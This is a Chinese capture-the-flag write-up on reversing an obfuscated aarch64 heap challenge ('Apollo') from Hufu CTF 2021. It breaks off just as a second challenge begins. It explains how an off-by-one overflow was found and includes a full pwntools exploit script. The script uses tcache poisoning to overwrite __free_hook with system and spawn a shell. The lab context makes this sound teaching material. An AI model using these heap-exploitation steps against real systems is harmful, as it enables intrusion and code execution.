通过对虎符CTF 2021中两道pwn题的详细分析,来学习Arm64的相关知识
简介
这两个Pwn都是基于aarch64的,而且都采用了混淆,看不出题目本来的逻辑,Ghidra干脆啥都看不出来,ida可以看汇编,因此建议读者先学一下aarch64汇编,对常用指令有基本的认识
- https://www.jianshu.com/p/b9301d02a125
- https://ayesawyer.github.io/2019/08/26/arm%E6%B1%87%E7%BC%96%E5%9F%BA%E6%9C%AC%E6%8C%87%E4%BB%A4/
- https://www.jianshu.com/p/99067af33f14
- https://winddoing.github.io/post/7190.html
Apollo
分析
程序为aarch64
即 Arm64
,保护全开
➜ apollo checksec apollo
[*] '/root/work/ctf/race/2021/hufuctf/apollo/apollo'
Arch: aarch64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
用ida分析一下,这里申请了一个 0x1000
的堆块,并且向堆块中写入数据,之后交由 magic
函数处理
__int64 sub_25CC()
{
ssize_t v0; // x0
__int64 v2; // [xsp+18h] [xbp+18h]
chunk = (__int64)malloc(0x1000uLL);
if ( !chunk )
puts("Init fail!");
printf("cmd> ");
v0 = read(0, (void *)chunk, 0x1000uLL);
magic(v0);
return v2 ^ _stack_chk_guard;
}
再跟进到magic函数里就发现 ida 已经识别不出来了,我最开始觉得这些伪代码是某种寄存器初始化,或者是完全混乱的代码,所以一头扎进汇编里面去了
现在想想有点蠢,主要是没有去分析其他函数,而且人的惰性很可怕,看一会汇编看不出来之后,后面也看不进去了
void magic()
{
_QWORD v0[12]; // [xsp+58h] [xbp+58h]
v0[0] = off_14010;
v0[1] = off_14018[0];
v0[2] = off_14020[0];
v0[3] = off_14028[0];
v0[4] = off_14030[0];
v0[5] = off_14038[0];
v0[6] = off_14040[0];
v0[7] = off_14048[0];
v0[8] = off_14050[0];
v0[9] = off_14058;
v0[10] = off_14060;
v0[11] = off_14068;
__asm { BR X0 }
}
STP X29, X30, [SP,#var_C0]!
; 初始化与canary相关
.text:0000000000000E18 MOV X29, SP
.text:0000000000000E1C STR X19, [SP,#0xC0+var_B0]
.text:0000000000000E20 ADRP X0, #0x13000
.text:0000000000000E24 LDR X0, [X0,#__stack_chk_guard_ptr@PAGEOFF]
.text:0000000000000E28 LDR X1, [X0]
.text:0000000000000E2C STR X1, [X29,#0xC0+var_8]
.text:0000000000000E30 MOV X1, #0 ; canary
.text:0000000000000E34 ADRP X0, #off_14010@PAGE
.text:0000000000000E38 ADD X1, X0, #off_14010@PAGEOFF
.text:0000000000000E3C ADD X0, X29, #0x58 ; 'X'
.text:0000000000000E40 LDP X2, X3, [X1] ; pop x1 to x2 and x3
.text:0000000000000E44 STP X2, X3, [X0] ; push x2 x3 to x0
.text:0000000000000E48 LDP X2, X3, [X1,#0x10]
.text:0000000000000E4C STP X2, X3, [X0,#0x10]
.text:0000000000000E50 LDP X2, X3, [X1,#0x20]
.text:0000000000000E54 STP X2, X3, [X0,#0x20]
.text:0000000000000E58 LDP X2, X3, [X1,#0x30]
.text:0000000000000E5C STP X2, X3, [X0,#0x30]
.text:0000000000000E60 LDP X2, X3, [X1,#0x40]
.text:0000000000000E64 STP X2, X3, [X0,#0x40]
.text:0000000000000E68 LDP X1, X2, [X1,#0x50]
.text:0000000000000E6C STP X1, X2, [X0,#0x50]
.text:0000000000000E70 ADRP X0, #off_13F98@PAGE
.text:0000000000000E74 LDR X0, [X0,#off_13F98@PAGEOFF]
.text:0000000000000E78 LDR X0, [X0]
.text:0000000000000E7C STR X0, [X29,#0xC0+var_78]
.text:0000000000000E80 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000E84 STR X0, [X29,#0xC0+var_70]
.text:0000000000000E88 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000E8C LDRB W0, [X0]
.text:0000000000000E90 MOV W1, W0
; 获取jump_table
.text:0000000000000E94 ADRP X0, #off_13FE8@PAGE ; "\n"
.text:0000000000000E98 LDR X0, [X0,#off_13FE8@PAGEOFF] ; "\n"
.text:0000000000000E9C SXTW X1, W1
;通过我们的输入来索引jump_table
.text:0000000000000EA0 LDR W0, [X0,X1,LSL#2]
.text:0000000000000EA4 SXTW X0, W0
.text:0000000000000EA8 LSL X0, X0, #3
; 获取func_table
.text:0000000000000EAC ADD X1, X29, #0x58 ; 'X'
; 索引要跳转的函数
.text:0000000000000EB0 LDR X0, [X1,X0]
.text:0000000000000EB4 B loc_ED0
通过分析 magic
函数的汇编代码,我们发现了两个数组
- 位于
0x014010
的func_table
- 位于
0x03770
的jump_table
在函数运行过程中,会将用户输入的第一个字符转换成 ascii码
,与 jump_table
进行匹配,获取到索引值,如果索引值不是 11
的话(func_table只有11个函数)
就依照此索引找到 func_table
中的函数并执行
func_table
.data:0000000000014010 off_14010 DCQ loc_EB8
.data:0000000000014018 off_14018 DCQ sub_1018
.data:0000000000014020 off_14020 DCQ sub_11F4
.data:0000000000014028 off_14028 DCQ sub_1394
.data:0000000000014030 off_14030 DCQ sub_14D4
.data:0000000000014038 off_14038 DCQ sub_1620
.data:0000000000014040 off_14040 DCQ sub_1990
.data:0000000000014048 off_14048 DCQ sub_1D10
.data:0000000000014050 off_14050 DCQ sub_2080
.data:0000000000014058 off_14058 DCQ sub_2400
.data:0000000000014060 off_14060 DCQ sub_2550
.data:0000000000014068 off_14068 DCQ sub_2514
jump_table
在IDA中,jump_table
可能并不是以数组的形式显示,这会影响我们的判断,因此需要先进行处理
首先选中 dword_3770
,右键选择 undefine
来重置变量类型,接着按 D
键(右键选择data)把数据格式转换为4字节(DCD)
之后右键选择 array
, size选择256
,即可将8位数据转化为数组
这里插播一点关于aarch64伪指令的小知识
- DCB分配一段字节的内存单元,其后的每个操作数都占有一个字节
- DCW分配一段半字的内存单元,其后的每个操作数都占有两个字节
- DCD分配一段字的内存单元,其后的每个操作数都占有4个字节
- DCQ分配一段双字的内存单元,其后的每个操作数都占有8个字节
.rodata:0000000000003770 jump_table DCD 0xA, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 1, 3
.rodata:0000000000003770 DCD 0xB, 4, 0xB, 2, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 7, 0xB
.rodata:0000000000003770 DCD 0xB, 8, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 9, 0xB, 0xB, 6, 0xB, 0xB, 0xB, 5, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB
关于 func_table
和 jump_table
之间的匹配关系,我们可以通过脚本来转化, 最后结果如下:
这里的脚本引用自轩哥博客:https://xuanxuanblingbling.github.io/ctf/pwn/2021/04/03/hufu/
jump_table = [0xA, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 1, 3
,0xB, 4, 0xB, 2, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 7, 0xB
,0xB, 8, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 9, 0xB, 0xB, 6, 0xB, 0xB, 0xB, 5, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB]
func_table = ["loc_EB8"
,"sub_1018"
,"sub_11F4"
,"sub_1394"
,"sub_14D4"
,"sub_1620"
,"sub_1990"
,"sub_1D10"
,"sub_2080"
,"sub_2400"
,"sub_2550"
,"sub_2514"]
index = 0
for i in jump_table:
if i != 0xb:
print("%s:%d:%s"%(chr(index),i,func_table[i]))
index += 1
➜ apollo python jump_table.py
:10:sub_2550
*:1:sub_1018
+:3:sub_1394
-:4:sub_14D4
/:2:sub_11F4
M:0:loc_EB8
a:7:sub_1D10
d:8:sub_2080
p:9:sub_2400
s:6:sub_1990
w:5:sub_1620
关键函数功能分析
通过以上分析我们已经找到了输入与函数调用之间的关系,那么下一步就是分析每个函数所对应的功能,但分析的时候我们发现很多函数中有未知的全局变量,不太好分析,因此我们先找一下这些全局变量在什么地方被赋值
sub_2550 -> finish
这个函数非常简单,直接输出finish并退出
void __noreturn finish()
{
puts("Finish");
exit(1);
}
loc_eb8 -> init
这个函数比较特殊,如果在ida中按 F5反编译的话,会直接显示 magic
的伪代码,也就是说ida把它认作了 magic
函数的一部分
(其实也没啥错,毕竟函数跳转之后栈帧都没变,但这样比较影响我们分析,因此要将 loc_eb8
与 magic
分离)
- 在
sub_E14
处右键Edit function
,设置end address
为0xeb8
- 在
loc_EB8
处右键Create function
,然后F5即可:__int64 sub_EB8() { __int64 v0; // x29 // v0+0x48指向用户输入 if ( dword_14098 || (input_char_1 = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 1LL),// 用户输入的第一个字符 input_char_2 = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 2LL),// 输入的第二个字符 input_char_1 > 16) || input_char_2 > 16 || input_char_1 <= 3 || input_char_2 <= 3 ) { puts("Abort"); exit(255); } qword_14088 = (__int64)calloc(input_char_1 * input_char_2, 1uLL); qword_14090 = (__int64)calloc(input_char_1 * input_char_2, 1uLL); dword_14098 = 1; *(_QWORD *)(v0 + 72) += 3LL; // 指向用户输入的第三个字符 return (*(__int64 (**)(void))(v0 + 88 + 8LL * jump_table[**(unsigned __int8 **)(v0 + 72)]))();// 跳转 }
这个函数的伪代码比较全,v0
在arm64中保存的是栈基址,类似于x64中的rbp
,如果你对之前 sub_e14
汇编的逻辑比较了解的话,应该能意识到 v0+72
指向的就是我们输入的内容
为了方便之后的分析,我们为v0
建立一个结构体,过程如下:
首先进入 IDA中的 Structures
窗口
这里前四行是Structures
选项卡的使用说明,后三行是IDA自带的结构体,前四行翻译过来就是:
-
Insert/Delete键
创建和删除结构体 -
D/A/*键
添加不同类型的结构体成员,这里要注意光标位置不同D键的作用也不同 -
N键
对结构体或结构体成员重命名 -
U键
删除结构体成员
我们在这里按 insert
新建结构体,出现如下界面,直接取个名字然后确定
之后按照之前分析的结果 v0+72
是我们的输入,v0+58
对应的是 func_table
,因此我们的结构体可以先这样构造:
00000000 apollo_struct struc ; (sizeof=0xA8, mappedto_33)
00000000 data1 DCB 72 dup(?)
00000048 input DCB 16 dup(?)
00000058 func_table DCB 80 dup(?)
000000A8 apollo_struct ends
000000A8
完成后回到函数中,右键 v0
,点击 convert to struct *
,选择我们新建的结构体,效果如下
__int64 m_init()
{
apollo_struct *v0; // x29
// v0+0x48指向用户输入
if ( init_flag
|| (y = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL),// 用户输入的第一个字符
x = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL),// 输入的第二个字符
y > 16)
|| x > 16
|| y <= 3
|| x <= 3 )
{
puts("Abort");
exit(255);
}
calloc_1 = (__int64)calloc(y * x, 1uLL);
calloc_2 = (__int64)calloc(y * x, 1uLL);
init_flag = 1;
*(_QWORD *)v0->input += 3LL; // 指向用户输入的第三个字符
return (*(__int64 (**)(void))&v0->func_table[8 * jump_table[**(unsigned __int8 **)v0->input]])();// 跳转
}
这样这个函数的功能就完全清晰了,结合题目 开车
的hint,这应该是一个 init
函数
根据用户的输入初始化道路,申请两个chunk并且把 init_flag
置1
sub_1018 -> add
这个函数的主要功能是申请堆块
首先将用户输入的第1~4个字符赋值给相应变量
接着做相应检查,将输入的 char1 char2 与 x y做比较,并且检查 calloc_1中 y*char1+char2
位置是否已经有值, 如果没有值的话就将其置1
之后还有一个 size
变量, size = char3 + char4<<8
之后会申请一个chunk,其大小为size,chunk地址存入 map+y*char1+char2
中
之后 read(0,map+y*char1+char2,size)
void add()
{
apollo_struct *v0; // x29
int v1; // w19
if ( init_flag )
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
*(_DWORD *)&v0->data1[0x3C] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 3LL);
*(_DWORD *)&v0->data1[0x40] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 4LL);
*(_DWORD *)&v0->data1[0x44] = *(_DWORD *)&v0->data1[0x3C] + (*(_DWORD *)&v0->data1[0x40] << 8);// input_3 + input_4 << 8
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& !*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34])
&& *(int *)&v0->data1[0x44] > 0
&& *(int *)&v0->data1[0x44] <= 0x600 )
{
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 1;
v1 = x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34];
*((_QWORD *)&map + v1) = malloc(*(int *)&v0->data1[0x44]);
read(
0,
*((void **)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]),
*(int *)&v0->data1[0x44]);
*(_QWORD *)v0->input += 5LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
sub_11F4 -> del
和上一个函数相对,这个函数主要是释放堆块,且释放后会清空指针,因此不存在 uaf
在做一些检查后会释放 map+y*char1+char2
处的堆块
并将 calloc_1 + y*char1+char2
处置零
void del()
{
apollo_struct *v0; // x29
if ( init_flag ) // /
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& *(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) == 1
&& *((_QWORD *)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) )
{
free(*((void **)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]));
*((_QWORD *)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0LL;// no uaf
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0;
*(_QWORD *)v0->input += 3LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
sub_1394 -> set_light
将char3
赋值给 calloc_1 + y*char1 + char2
void set_light()
{
apollo_struct *v0; // x29
if ( init_flag )
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
*(_DWORD *)&v0->data1[0x38] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 3LL);
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& !*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34])
&& *(int *)&v0->data1[0x38] > 1
&& *(int *)&v0->data1[0x38] <= 4 )
{
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = *(_DWORD *)&v0->data1[0x38];
*(_QWORD *)v0->input += 4LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
sub_14D4 -> del_light
将 calloc_1 + y*char1+char2
位置置零
void del_light()
{
apollo_struct *v0; // x29
if ( init_flag )
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& *(unsigned __int8 *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) > 1u
&& *(unsigned __int8 *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) <= 4u )
{
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0;
*(_QWORD *)v0->input += 3LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
sub_02400 -> show
这个函数的作用是输出
它会遍历小车行进的整个路线,如果当前位置的值为1,则输出该位置的坐标以及对应chunk的内容
void show()
{
apollo_struct *v0; // x29
if ( init_flag )
{
*(_DWORD *)&v0->data1[0x24] = 0;
for ( *(_DWORD *)&v0->data1[0x24] = 0; *(_DWORD *)&v0->data1[0x24] < y * x - 1; ++*(_DWORD *)&v0->data1[0x24] )
{
*(_DWORD *)&v0->data1[0x28] = *(_DWORD *)&v0->data1[0x24] / x;// get now_y
*(_DWORD *)&v0->data1[0x2C] = *(_DWORD *)&v0->data1[0x24] - x * *(_DWORD *)&v0->data1[0x28];// get now_x
if ( *(_BYTE *)(calloc_1 + *(int *)&v0->data1[0x24]) == 1 )
{
printf("pos:%d,%d\n", *(unsigned int *)&v0->data1[0x28], *(unsigned int *)&v0->data1[0x2C]);
puts(*((const char **)&map + *(int *)&v0->data1[0x24]));
}
}
++*(_QWORD *)v0->input;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x25B8LL);
sub_1620[down], sub_1990[up], sub_1d10[left], sub_2080[right]
这几个函数对应的输入索引是 w a s d
,因此应该能猜出来其对应的功能是控制小车运动
此外,这几个函数中出现了三个未知的变量 dword_140A4
dword_140A8
以及 dword_14080
通过这段代码,结合函数的功能,猜测dword_140A4
与x
相关,dword_140A8
与y
相关,而 dword_14080
应该是用来记录操作步数的
v1 = dword_14080++;
*(_BYTE *)(calloc_2 + dword_140A4 * y + dword_140A8) = v1;
具体是不是这样,我们可以进去调试一下,经过调试后发现,当我们不进行任何操作,在初始化后就直接调用 w
a
s
d
对应的函数时
dword_140A4
dword_140A8
以及 dword_14080
都为0
而当我们控制小车运动时,这几个变量的值也会相应发生变化,那么也就验证了我们的猜测。
在此我已up
函数为例来分析一下
void s_up()
{
apollo_struct *v0; // x29
char v1; // w0
if ( init_flag )
{
if ( y - 1 > current_y
&& *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) != 1
&& *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) != 4 )
{
*(_BYTE *)(calloc_1 + current_y * x + current_x) = 0;
if ( *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) )
{
if ( *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) == 2
|| *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) == 3 )
{
*(_BYTE *)(calloc_1 + (current_y + 2) * x + current_x) = 5;
current_y += 2;
}
}
else
{
*(_BYTE *)(calloc_1 + ++current_y * x + current_x) = 5;
}
}
v1 = step_count++;
*(_BYTE *)(calloc_2 + current_y * x + current_x) = v1;
++*(_QWORD *)v0->input;
JUMPOUT(0xED0LL);
}
puts("Abort");
exit(255);
}
当小车的前方位置值不是 1或4
时,小车前进 1
格,之后将所在位置的值置为 5
当小车的前方位置值是 2或3
时,小车前进 2
格,之后将所在位置的值置为 5
函数对于 current_y
的限制是y - current_y > 1
,这就造成了一个 off-by-one
,如果我们令y - current_y = 2
那么前进过后 current_y = y
, current_y * x = x * y
, 此时 *(_BYTE *)(calloc_2 + current_y * x + current_x) = v1
就会溢出一个字节,溢出的位置由 current_x
决定
总结
至此我们已经完成了所有重点函数的分析,函数索引表也可以更新一下了
:10:finish
*:1:add
+:3:set_light
-:4:del_light
/:2:del
M:0:init
a:7:left
d:8:right
p:9:show
s:6:up
w:5:down
利用思路
在完整的理清了程序的逻辑与漏洞点后,我们就可以开始构思利用思路了
实际上在看懂程序后,这道题的思路很简单,就是利用 off by one
构造堆块重叠,之后通过重叠泄露libc基地址
再利用 tcache poison
将堆块申请到 free_hook
位置,写入 system
最后释放一个内容为 /bin/sh\x00
的堆块,getshell
泄露libc
这里我采用的方法比较简单暴力,首先申请若干 0x20
大小的chunk和 0xa0
大小的chunk,之后释放 0xa0
大小的chunk使其填满 tcache
只有利用 off-by-one
修改第一个 0x20
大小chunk的size为0xa1
,并将其释放,这时由于 0xa0
的tcache已经被填满,且堆块的大小已经超出了 fastbin
的范围,因此会被放入 unsorted bin
中,此时这个chunk中就会被写入 libc base
相关的地址,之后申请一个 0x40
大小的chunk,使得 libc base
相关地址落在实际上没有被释放的堆块上,这样我们再调用 show
功能时就能获得 libc base
地址
tcache poison
此时我们已经知道了 libc基址
因此,这一步只需要利用上一步构造的堆块重叠,通过越界写的方式将 free_hook
写到 tcache
链上完成投毒
之后申请该chunk,写入 system
地址,free一个内容为 binsh
的chunk,完成整个利用,详见EXP
EXP
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_
from pwn import *
import inspect
from sys import argv
def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = '/lib/libc.so.6'
binary = './apollo'
context.binary = binary
elf = ELF(binary,checksec=False)
p = process(["qemu-aarch64", "-L", ".","-g", "1234","./apollo"])
if len(argv) > 1:
if argv[1]=='r':
p = remote('8.140.179.11',13422)
# libc = elf.libc
libc = ELF(remote_libc)
def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()
# start
# context.log_level = 'DEBUG'
"""
b *(0x4000000000+0x0e14) 跳转函数
b *(0x4000000000+0x1620)
b *(0x4000000000+0xeb8)
b *(0x4000000000+0xed0)
b *(0x4000000000+0x2400) show
b *(0x4000000000+0x2550) finish
:10:finish
*:1:add
+:3:set_light
-:4:del_light
/:2:del
M:0:init
a:7:left
d:8:right
p:9:show
s:6:up
w:5:down
map 0x40000140b0
calloc_1 0x40009af270
calloc_2 0x40009af380
current_y 0x40000140a4
current_x 0x40000140a8
step_count 0x4000014080
read_got 0x4000013f30
chunk0 0x40009af490
"""
def init(y,x):
data = 'M' + p8(y) + p8(x)
return data
def add(y,x,size):
data = '*'+p8(y)+p8(x)+p16(size)
return data
def free(y,x):
data = '/'+p8(y)+p8(x)
return data
def set_light(y,x,light):
data = '+'+p8(y)+p8(x)+p8(light)
return data
def del_light(y,x):
data = '-'+p8(y)+p8(x)
return data
def up():
return 's'
def down():
return 'w'
def left():
return 'a'
def right():
return 'd'
ru("cmd>")
pl = init(0x10,0x10)
pl+= set_light(0xf,8,2)
# ------------------------------------------ 1 利用offbyone修改chunk0的size,之后free进usbin,造成堆块重叠的同时将含有
#------------------------------------------- libc_base的地址写入堆块,之后切割堆块并通过show功能输出libc_base
for i in range(5):
pl+= add(0,9+i,0x10)
for i in range(5):
pl+= add(1,9+i,0x10)
for i in range(4):
pl+= add(2,9+i,0x90)
for i in range(4):
pl+= add(3,9+i,0x90)
for i in range(4):
pl+= free(3,0xc-i)
for i in range(3):
pl+= free(2,0xc-i)
# off by one
pl+= 'd'*8
pl+= 'sw'*69
pl+= 's'*0x10
# free修改过size的chunk,堆块重叠
pl+= free(0,9)
# 切割堆块,在chunk2位置写下libc base
pl+= add(4,9,0x30)
# show 泄露地址
pl+= 'p'
# -------------------------------------------- 2 tcache poison, set free_hook to system then
pl+= free(0,12)
pl+= free(0,10)
pl+= free(4,9)
pl+= add(4,9,0x30)
pl+= add(4,10,0x10)
pl+= add(4,11,0x10)
# -------------------------------------------- 3 trigger get shell
pl+= free(4,10)
s(pl)
sleep(0.1)
for i in range(10):
s('/bin/sh\x00')
sleep(0.1)
for i in range(9):
s('\x02')
sleep(0.1)
# pause()
ru('pos:0,11\n')
base = uu64(r(3))+0x4000000000 - 0x154ad0
system_addr = sym('system')+base
free_hook = sym('__free_hook')+base
leak(base)
leak(system_addr)
leak(free_hook)
poison = p64(0)*3 + p64(0x21)
poison+= p64(free_hook)*2
s(poison)
sleep(0.1)
s('/bin/sh\x00')
sleep(0.1)
s(p64(system_addr))
# end
itr()
Queit
分析
同样的思路,先整理 jump_table
和 func_table
,同时这道题中有一些函数也没有正确显示,需要安装之前的方法手动调整
:8:sub_10E4
#:5:sub_1154
